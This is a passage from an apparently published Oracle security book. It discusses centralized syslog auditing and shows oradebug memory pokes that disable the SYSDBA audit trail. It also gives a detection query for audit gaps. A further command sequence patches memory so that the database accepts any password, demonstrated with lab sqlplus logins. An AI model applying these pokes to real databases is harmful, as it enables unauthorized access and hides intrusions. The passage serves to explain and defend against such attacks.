Database Reference
In-Depth Information
Centralized syslogging is fast, free, and effective, and there is no need for a RDBMS backend as the audit-trail
administrator can carry out relational queries using bash directly if needed, as shown at this URL:
The benefit of logging directly to flat files is the low financial and performance costs, ease of compression, and
ease of en-masse query correlation. A large part of audit-trail monitoring is a cron'd grep for a static string, e.g.,
“
grant dba
.” This does not require a relational database to do. A full discussion of centralized auditing will be given in
Chapter 7, along with source code to a perl app for pulling a non-syslog audit trail together.
In response, the first thing an attacker will do after having gained SYSDBA is turn off audit. That is one reason why
Oracle has made SYSDBA auditing mandatory in all databases. Such logging should never be turned off, so Oracle has
made it
impossible
to do so. Unfortunately, using oradebug it
is
possible to turn off audit trail for SYSDBAs such as SYS.
For example:
SQL> oradebug poke 0x60031bb0 1 0
BEFORE: [060031BB0, 060031BB4) = 00000001
AFTER: [060031BB0, 060031BB4) = 00000000
More detail can be found at this URL:
This is not as bad as it seems, because
syslog auditing is steadily busy logging system information as well, thus
making long gaps in production audit trails very noticeable.
Those gaps can be correlated with the startups and
shutdowns using the following query:
select startup_time, instance_name, host_name from dba_hist_database_instance;
If a gap in audit trail does not coincide with a shutdown, then it could be the DBA turning off the audit trail.
The DBA's doing that, would normally be considered as a break in compliance. However, it could also be an attacker
hiding their activities. Some high-security systems require continuous, un-interrupted auditing and will switch off
completely if audit monitoring is not inforce.
This next example of oradebug usage harkens back to the introductory history in Chapter 1 regarding hackers'
disdain for passwords and the fact that obtrusive security controls can encourage the users to try and break them.
The example below turns off authentication for the whole database so that the user's logons will be accepted when an
incorrect password is presented.
oradebug setmypid
oradebug call malloc 20
oradebug call VirtualProtect 0x01e10d5e 6 0x40 0xc3b79f0
oradebug poke 0x01e10d5c 4 0x90909090
oradebug poke 0x01e10d60 4 0x90909090
cd c:\svn\oracle\ethicalhack2011\instantclient_11_2\
sqlplus system/Test1234@192.168.56.30/orcl
sqlplus system/Test@192.168.56.30/orcl --both work without failure as auth is turned off.
